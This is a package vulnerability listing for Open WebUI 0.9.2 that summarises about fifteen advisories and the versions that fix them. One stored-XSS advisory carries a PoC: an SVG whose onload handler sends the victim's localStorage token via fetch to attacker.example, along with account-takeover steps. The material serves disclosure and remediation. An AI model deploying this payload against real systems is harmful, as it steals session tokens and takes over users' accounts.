Search for packages
| purl | pkg:pypi/open-webui@0.9.2 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-1g27-4vq6-7kdz
Aliases: CVE-2026-45386 GHSA-5gc6-xhv4-2wg6 |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, Pin/Unpin is a write operation (modifies the message's is_pinned , pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message. This vulnerability is fixed in 0.9.5. |
Affected by 0 other vulnerabilities. |
|
VCID-1tu1-b9de-nfaa
Aliases: CVE-2026-45385 GHSA-wwhq-cx22-f7vv |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, an IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. This vulnerability is fixed in 0.9.5. |
Affected by 0 other vulnerabilities. |
|
VCID-4v8w-kv6g-kkbc
Aliases: CVE-2026-45402 GHSA-r472-mw7m-967f |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, multiple endpoints accept a user-supplied file_id and attach the referenced file to a resource the caller controls (folder knowledge, knowledge-base contents) without verifying that the caller owns or has been granted access to the file. The file's content then becomes reachable through the downstream RAG / file-content paths, allowing any authenticated user to exfiltrate any other user's private file — and on the knowledge-base path, also to overwrite it — given knowledge of the file's UUID. This affects backend/open_webui/routers/folders.py (POST /api/v1/folders/{id}/update), backend/open_webui/routers/knowledge.py (add_file_to_knowledge_by_id), and backend/open_webui/routers/knowledge.py (add_files_to_knowledge_by_id_batch). This vulnerability is fixed in 0.9.5. |
Affected by 0 other vulnerabilities. |
|
VCID-4x63-8x64-d3bq
Aliases: CVE-2026-45400 GHSA-8w7q-q5jp-jvgx |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability. This vulnerability is fixed in 0.9.5. |
Affected by 0 other vulnerabilities. |
|
VCID-5jna-wvd7-j7cm
Aliases: CVE-2026-45397 GHSA-65pg-qhhw-mxwg |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, GET /api/v1/retrieval/ returns live RAG pipeline configuration to any unauthenticated HTTP client. No Authorization header, cookie, or API key is required. Every adjacent endpoint on the same router (/embedding, /config) is correctly guarded by get_admin_user making this a targeted omission. This vulnerability is fixed in 0.9.5. |
Affected by 0 other vulnerabilities. |
|
VCID-5wfg-zqcy-c7ar
Aliases: CVE-2026-45317 GHSA-j6w6-986j-2m2m |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, an application-wide Cross-Site Request Forgery (CSRF) vulnerability was found Open-WebUl's image uploading functionality. An attacker can set an image URL to a malicious endpoint, allowing them to perform actions on behalf of a victim user. Any authenticated user can exploit this vulnerability, and any user who views the compromised image (e.g., a profile picture) will unknowingly send a GET request to the attacker-controlled URL. This can lead to cookie theft, denial of service (DoS), or other malicious actions. This vulnerability is fixed in 0.9.3. |
Affected by 10 other vulnerabilities. |
|
VCID-8nzh-cpda-dkca
Aliases: CVE-2026-45316 GHSA-jx2x-j75f-xq3j |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3. |
Affected by 10 other vulnerabilities. |
|
VCID-8y4k-pj2n-8uhm
Aliases: CVE-2026-45314 GHSA-3856-3vxq-m6fc |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser. This vulnerability is fixed in 0.9.3. |
Affected by 10 other vulnerabilities. |
|
VCID-cw4k-3s8z-uqh8
Aliases: CVE-2026-45401 GHSA-rh5x-h6pp-cjj6 |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers. This vulnerability is fixed in 0.9.5. |
Affected by 0 other vulnerabilities. |
|
VCID-dz6g-jgmg-wqce
Aliases: CVE-2026-45318 GHSA-hcwp-82g6-8wxc |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, his advisory tracks a regression of the original Excel-preview XSS (CVE-2026-44549). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again This vulnerability is fixed in 0.9.3. |
Affected by 10 other vulnerabilities. |
|
VCID-dzh3-rqx4-fqhv
Aliases: CVE-2026-45398 GHSA-4g37-7p2c-38r9 |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, _validate_collection_access() checks the user-memory-* and file-* collection name prefixes but does not check knowledge base collections, which use raw UUIDs as collection names. Any authenticated user who knows a private knowledge base UUID can read its content through the retrieval query endpoints, even though the knowledge API correctly denies that user access. The same gap affects the retrieval write endpoints (/process/text, /process/file, /process/files/batch, /process/web, /process/youtube), allowing an attacker to inject content into or overwrite another user's knowledge base. This vulnerability is fixed in 0.9.5. |
Affected by 0 other vulnerabilities. |
|
VCID-ef1t-pxjm-j7cz
Aliases: GHSA-3wgj-c2hg-vm6q |
Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url # Summary When a user signs in via OAuth, Open WebUI fetches the `picture` claim URL, infers a MIME type from the URL extension via `mimetypes.guess_type`, and stores `data:<mime>;base64,...` as the user's profile image. The OAuth code path does not go through the `validate_profile_image_url` Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A `.svg` URL in the `picture` claim lands in the database as `data:image/svg+xml;base64,...`. The profile image endpoint `GET /api/v1/users/{id}/profile/image` returns the stored data URI with the attacker-controlled MIME type as `Content-Type` and `Content-Disposition: inline`. Security headers (CSP, `X-Content-Type-Options`) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing `<script>`/`onload` in the same origin and able to read `localStorage.token` → account takeover. Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path. # Details ## 1. MIME inferred from URL extension, not Content-Type `backend/open_webui/utils/oauth.py:1336-1345` — `_process_picture_url`: ```python response = await client.get(picture_url, ...) if response.status_code == 200: picture = response.content base64_encoded_picture = base64.b64encode(picture).decode("utf-8") guessed_mime_type = mimetypes.guess_type(picture_url)[0] if guessed_mime_type is None: guessed_mime_type = "image/jpeg" return f"data:{guessed_mime_type};base64,{base64_encoded_picture}" ``` No MIME allowlist. The upstream `Content-Type` is ignored. For a URL ending in `.svg`, `mimetypes.guess_type` returns `image/svg+xml`. ## 2. OAuth path bypasses the profile-image validator `backend/open_webui/utils/validate.py:10-36` defines `validate_profile_image_url`, which only accepts `/user.png`, `/user-mono.png`, and `data:image/{png,jpeg,gif,webp};base64,...`. This validator is wired into Pydantic form models (`SignupForm`, `UpdateProfileForm`, `UserUpdateForm`), but the OAuth flow at `oauth.py:1536-1540` (existing-user login) and `oauth.py:1556-1574` (new-user signup) writes via `Users.update_user_profile_image_url_by_id` and `Auths.insert_new_auth`, both of which call SQLAlchemy directly (`models/users.py:575-588`) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged. ## 3. Endpoint serves attacker-controlled MIME with `inline` disposition `backend/open_webui/routers/users.py:504-528` — `get_user_profile_image_by_id`: ```python header, encoded = image.split(",", 1) media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml" data = base64.b64decode(encoded) return StreamingResponse( iter([data]), media_type=media_type, headers={"Content-Disposition": "inline"}, ) ``` No MIME whitelist. The route requires `get_verified_user` — any authenticated user reaches it. ## 4. No default CSP / nosniff `backend/open_webui/utils/security_headers.py:16-61` populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level `image/svg+xml` response as an XML document and execute embedded script. # PoC **Prerequisites**: operator has OAuth signup enabled (`ENABLE_OAUTH_SIGNUP=true`) or OAuth login with picture sync (`OAUTH_UPDATE_PICTURE_ON_LOGIN=true`). The attacker has a valid identity on the configured IdP and can set their profile picture URL. 1. Attacker hosts a malicious SVG at `https://attacker.example/p.svg`: ```xml <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" /> ``` 2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores `data:image/svg+xml;base64,...` in the attacker's `profile_image_url`. 3. Attacker shares a link to their own profile image with a victim in a chat DM or channel: ``` https://target.example/api/v1/users/<attacker-user-id>/profile/image ``` 4. The authenticated victim clicks the link. The browser receives `Content-Type: image/svg+xml` with `Content-Disposition: inline`, renders the SVG as a top-level document, fires `onload`, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account. # Impact - Account takeover of any authenticated user who opens the crafted URL. - Post-takeover: access to the victim's chats, API keys stored in their settings, and — if the victim has `workspace.tools` permission — RCE via installed tools (per CVE-2025-64496 analysis). - The same `_process_picture_url` function has no SSRF allowlist; a secondary primitive is to point the `picture` claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint. # Suggested fix 1. In `_process_picture_url` (`utils/oauth.py:1336-1345`): reject any MIME outside `{image/png, image/jpeg, image/gif, image/webp}`. Use the upstream `Content-Type` response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets. 2. In `get_user_profile_image_by_id` (`routers/users.py:504-528`): enforce a MIME whitelist before building `StreamingResponse`. This is the defense-in-depth layer that should have caught the bypass. 3. Apply `validate_profile_image_url` at the model/storage layer (`Users.update_user_profile_image_url_by_id`), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator. 4. Set `X-Content-Type-Options: nosniff` and a default CSP unless the operator explicitly disables them. # References - `backend/open_webui/utils/oauth.py:1318-1351` — MIME guess + fetch - `backend/open_webui/utils/oauth.py:1536-1574` — OAuth write path - `backend/open_webui/utils/validate.py:10-36` — validator (bypassed) - `backend/open_webui/models/users.py:575-588` — DB write - `backend/open_webui/routers/users.py:504-528` — serving endpoint - `backend/open_webui/utils/security_headers.py:16-61` — env-gated headers - CVE-2025-64496 — precedent: trust boundary error (same class) - CVE-2025-64495 — precedent: rich-text XSS (same class) |
Affected by 0 other vulnerabilities. |
|
VCID-hj5f-yk3y-ffdg
Aliases: CVE-2026-45387 GHSA-h2cw-7qw9-56xr |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, when setting model permissions so that a group has read access to it, intending for other users to use it, those users also can read the model's system prompt. However users may consider their system prompt confidential, so this is considered a security issue. This vulnerability is fixed in 0.9.5. |
Affected by 0 other vulnerabilities. |
|
VCID-wcz4-vwx4-tufb
Aliases: CVE-2026-45315 GHSA-m8f9-9whg-f4xr |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3. |
Affected by 10 other vulnerabilities. |
|
VCID-yug9-shts-kufb
Aliases: CVE-2026-45396 GHSA-rjmp-vjf2-qf4g |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, the POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing. This vulnerability is fixed in 0.9.5. |
Affected by 0 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||